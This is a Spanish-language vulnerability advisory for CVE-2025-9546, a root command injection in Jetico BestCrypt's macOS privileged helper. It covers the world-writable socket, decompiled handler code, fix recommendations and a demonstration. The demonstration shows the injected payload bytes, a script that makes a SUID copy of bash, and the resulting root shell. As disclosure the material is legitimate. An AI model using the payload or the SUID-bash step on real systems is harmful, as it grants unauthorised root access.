Escalamiento de privilegios en macOS Jetico Bestcrypt vía inyección de comandos

Jan 22, 2025

CVE Number

CVE-2025-9546

Credits

Carlos Garrido of Pentraze Cybersecurity

Escalamiento de privilegios en macOS Jetico Bestcrypt vía inyección de comandos

Resumen

Se identificó un escalamiento de privilegios local en un servicio auxiliar privilegiado, lo que permite la ejecución arbitraria de comandos con privilegios de root.

Detalles

La aplicación Jetico BestCrypt, responsable de la protección de datos en endpoints, el cifrado y el borrado de datos, instala un módulo llamado com.jetico.Bestcrypt.helper, el cual realiza diversas operaciones como el montaje de volúmenes o la apertura de dispositivos de bloque. Este servicio se ejecuta con privilegios de root, y se identificó una oportunidad de escalamiento de privilegios mediante inyección de comandos, lo que permite la ejecución de comandos arbitrarios en un contexto de altos privilegios.

com.jetico.Bestcrypt.helper

Al analizar el archivo PLIST del Launch Daemon del servicio com.jetico.Bestcrypt.helper, se pueden observar varios aspectos importantes:

  • La aplicación no expone un servicio Mach con nombre para la comunicación entre procesos (IPC); en su lugar, utiliza un socket de dominio Unix ubicado en /var/run/com.jetico.BestCrypt.helper.

  • Los permisos del socket están configurados en 438 (0666), lo que permite que cualquier usuario local inicie una conexión con el servicio.

  • Si la autenticación del cliente no se aplica correctamente (por ejemplo, mediante el uso de getsockopt con SO_PEERCRED para validar el UID/GID del proceso que se conecta), esta configuración podría permitir el acceso no autorizado a un servicio privilegiado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Label</key>
	<string>com.jetico.BestCrypt.helper</string>
	<key>RunAtLoad</key>
	<true/>
	<key>KeepAlive</key>
	<true/>
	<key>Sockets</key>
	<dict>
		<key>BestCrypt</key>
		<dict>
			<key>SockPathMode</key>
			<integer>438</integer>
			<key>SockPathName</key>
			<string>/var/run/com.jetico.BestCrypt.helper</string>
		</dict>
	</dict>
	<key>ProgramArguments</key>
	<array>
		<string>/Library/PrivilegedHelperTools/com.jetico.BestCrypt.helper</string>
	</array>
</dict>
</plist>

Ingeniería Reversa

La función main es responsable de instalar la extensión de kernel bcrypt (kext). A continuación, inicia el servicio invocando la función startServer, la cual inicializa el socket Unix. Posteriormente, se llama a la función _main.cold.1 para gestionar las conexiones entrantes de los clientes y procesar los búferes recibidos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
100004d7c    int64_t _main()

100004d7c    {
100004d7c        int64_t rax = *(uint64_t*)___stack_chk_guard;
100004d9c        _system("/etc/bcrypt stop");
100004da8        _system("/etc/bcrypt start");
100004db4        int32_t rax_1 = startServer("/var/run/com.jetico.BestCrypt.he…");
100004dbb        void var_84;
100004dbb        struct sockaddr var_80[0x7];
100004dbb        
100004dbb        if (rax_1 >= 0)
100004dd5            _main.cold.1(&var_80, &var_84, rax_1);
100004dbb        else
100004dc4            logError("Unable to start helper");
100004dc4        
100004de8        if (*(uint64_t*)___stack_chk_guard == rax)
100004df8            return 1;
100004df8        
100004df8        ___stack_chk_fail();
100004df8        /* no return */
100004d7c    }

Dentro de _main.cold.1, se llama a la función accept, y la conexión entrante se pasa a la función handleCommand().

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

100006f32    int64_t _main.cold.1(struct sockaddr* arg1, int32_t* arg2, int32_t arg3)

100006f32    {
100006f32        int64_t rax = *(uint64_t*)___stack_chk_guard;
100006f5a        *(uint32_t*)arg2 = 0x6a;
100006f6e        int32_t socket_1 = _accept(arg3, arg1, arg2);
100006f6e        
100006f75        if (socket_1 >= 0)
100006f75        {
100006f77            int32_t socket = socket_1;
100006fd8            int32_t i;
100006fd8            
100006fd8            do
100006fd8            {
100006f90                _printf("bcrypt_helper - %s\n", "accepted connection");
100006fa0                _syslog(5, "bcrypt_helper - %s\n", "accepted connection");
100006faf                BCHelperAnswer answer;
100006faf                handleCommand(socket, &answer);
100006fb7                _close(socket);
100006fbc                *(uint32_t*)arg2 = 0x6a;
100006fce                i = _accept(arg3, arg1, arg2);
100006fd3                socket = i;
100006fd8            } while (i >= 0);
100006f75        }
100006f75        
100006fe1        logError("accept failed");
100006fec        _close(arg3);
100006ff8        int64_t result = *(uint64_t*)___stack_chk_guard;
100006ff8        
100006fff        if (result == rax)
100007013            return result;
100007013        
100007013        ___stack_chk_fail();
100007013        /* no return */
100006f32    }

La función handleCommand puede resumirse de la siguiente manera:

  • En primer lugar, recibe un búfer de 12 bytes (0x0c) que representa el encabezado del paquete, el cual especifica la acción que debe ejecutarse. Por ejemplo, el valor 0xbc000106 activa la función de montaje de volúmenes.

A continuación, durante la segunda llamada a recv, el servidor lee el cuerpo del mensaje, es decir, la carga útil enviada por el cliente, que contiene los parámetros necesarios para la acción solicitada. En el caso del montaje de un volumen, esta carga útil especifica qué volumen debe montarse.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
100004c5c    uint64_t handleCommand(int32_t socket, BCHelperAnswer& answer)

100004c5c    {
100004c5c        int64_t rax = *(uint64_t*)___stack_chk_guard;
100004c87        _bzero(answer, 0x210);
100004c96        *(uint64_t*)answer = -0x43ffeffefffffdf0;
100004ca7        int32_t buffer;
100004ca7        int64_t length;
100004ca7        BCHelperAnswer* rsi_1;
100004ca7        length = _recv(socket, &buffer, 0xc, 0);
100004cb0        int32_t rbx;
100004cb0        
100004cb0        if (length != 0xc)
100004cb0        {
100004d5c            handleCommand.cold.3(answer, rsi_1);
100004d61            rbx = -0x43ffefff;
100004cb0        }
100004cb0        else
100004cb0        {
100004cc9            void var_48;
100004cc9            BCHelperFileData* buffer_2 =
100004cc9                &var_48 - (((uint64_t)(buffer + 1) + 0xf) & 0xfffffffffffffff0);
100004cda            int64_t length_2;
100004cda            BCHelperAnswer* rsi_3;
100004cda            length_2 = _recv(socket, buffer_2, (uint64_t)buffer, 0);
100004cea            int32_t var_3c;
100004cea            
100004cea            if (length_2 < 0 || length_2 != (uint64_t)buffer)
100004cea            {
100004d2d                handleCommand.cold.1(answer, rsi_3);
100004d32                rbx = -0x43ffefff;
100004cea            }
100004cea            else if (var_3c == 0xbc000106)
100004cf4            {
100004d17                rbx = mountVolume(buffer_2, answer);
100004d19                *(uint32_t*)((char*)answer + 4) = rbx;
100004d23                sendAnswer(socket, answer);
100004cf4            }
100004cf4            else if (var_3c != 0xbc000101)
100004cfb            {
100004d6b                handleCommand.cold.2(answer, rsi_3);
100004d70                rbx = -0x43ffefff;
100004d19                *(uint32_t*)((char*)answer + 4) = rbx;
100004d23                sendAnswer(socket, answer);
100004cfb            }
100004cfb            else
100004d08                rbx = openBlockDevice(buffer_2, socket);
100004cb0        }
100004cb0        
100004d48        if (*(uint64_t*)___stack_chk_guard == rax)
100004d77            return (uint64_t)rbx;
100004d77        
100004d77        ___stack_chk_fail();
100004d77        /* no return */
100004c5c    }

La función handleCommand realiza las siguientes acciones:

Toma la carga útil recibida y construye una cadena de comandos, ya sea como "diskutil mount /dev/%s" o como "diskutil mount -mountPoint \"%s\" /dev/%s", según el contexto.

El comando formateado se ejecuta posteriormente mediante system() sin ningún tipo de sanitización. Esto implica que un atacante podría inyectar comandos arbitrarios más allá de diskutil, lo que da lugar a una inyección de comandos en un contexto privilegiado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
100004ab3    uint64_t mountVolume(BCMountVolumeData* buffer_2, BCHelperAnswer& answer)

100004ab3    {
100004ab3        int64_t rax = *(uint64_t*)___stack_chk_guard;
100004af1        _printf("bcrypt_helper - %s\n", "handle mount volume");
100004b03        BCHelperAnswer* rsi =
100004b03            _syslog(5, "bcrypt_helper - %s\n", "handle mount volume");
100004b0b        uint64_t rax_3;
100004b0b        
100004b0b        if (buffer_2)
100004b14            rax_3 = _strlen(buffer_2);
.
.
.
<SNIP>
.
.
.
100004b3f            if (!*(uint8_t*)((char*)buffer_2 + 0x10))
100004b7b                _snprintf(&var_238, 0x200, "diskutil mount /dev/%s", buffer_2);
100004b3f            else
100004b5c                _snprintf(&var_238, 0x200, "diskutil mount -mountPoint \"%s\" /dev/%s", 
100004b5c                    (char*)buffer_2 + 0x10, buffer_2);
100004b5c            
100004b96            _printf("bcrypt_helper - %s\n", &var_238);
100004ba8            _syslog(5, "bcrypt_helper - %s\n", &var_238);
100004bb0            int32_t rax_8 = _system(&var_238);
100004bb5            rcx_3 = -0x43fff000;

Explotación

Lo siguiente demuestra que la inyección de comandos es efectivamente posible, lo que resultó en la ejecución de código como root. Con fines de demostración, /tmp/run es un script que copia el binario de bash, establece el bit SUID y, de este modo, permite que cualquier usuario lo ejecute con el parámetro -p. Como resultado, el proceso se ejecuta con un ID de usuario efectivo (EUID) igual a 0, otorgando de facto privilegios de root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
~ % cat /tmp/run                    
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
~ % ls -l /private/tmp/rootbash     
ls: /private/tmp/rootbash: No such file or directory
~ % python3 Exploit.py              
[+] msg1: `%s`
 b'\x10\x00\x00\x00\x06\x01\x00\xbcAAAA'
[+] msg2: `%s`
 b't;/tmp/run\x00\x00\x00\x00\x00\x00'
~ % ls -l /private/tmp/rootbash 
-r-sr-xr-x  1 root  wheel  1326576 Jul  3 21:28 /private/tmp/rootbash
~ % whoami
garrido
~ % /private/tmp/rootbash -p

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
rootbash-3.2# whoami
root
rootbash-3.2#

Al revisar los registros del sistema, se observó que el servicio com.jetico.BestCrypt.helper aceptó la conexión y ejecutó la operación de “montaje de volumen”, la cual contenía nuestro comando malicioso.

1
2
3
4
5
sh-3.2# log stream --style syslog --predicate 'eventMessage contains[c] "bcrypt_helper"'
Filtering the log data using "composedMessage CONTAINS[c] "bcrypt_helper""
Timestamp                       (process)[PID]    
2025-07-03 21:28:28.092495-0400  localhost com.jetico.BestCrypt.helper[91110]: bcrypt_helper - accepted connection
2025-07-03 21:28:28.092802-0400  localhost com.jetico.BestCrypt.helper[91110]: bcrypt_helper - handle mount volume

Recomendaciones

  1. Restringir los permisos del socket

Asegurar que el socket Unix ubicado en /var/run/com.jetico.BestCrypt.helper no sea accesible globalmente:

  • Cambiar los permisos de 0666 a un modo más restrictivo, como 0600 o 0660.

  • Establecer como propietario y grupo del socket a un usuario y/o grupo del sistema dedicado, al que solo pertenezcan los procesos autorizados.

  1. Autenticar explícitamente a los clientes

Implementar autenticación del cliente antes de procesar cualquier comando:

  • Utilizar getpeereid() (en macOS/BSD) o getsockopt(..., SO_PEERCRED, ...) (en Linux) para obtener el UID/GID del cliente que establece la conexión.
  1. Validar y sanitizar toda la entrada
  • Validar estrictamente todos los campos de entrada (como nombres de volúmenes, rutas o comandos).

  • Evitar pasar directamente datos proporcionados por el cliente a comandos de shell o intérpretes.

Referencias

¿Ver el sitio en español?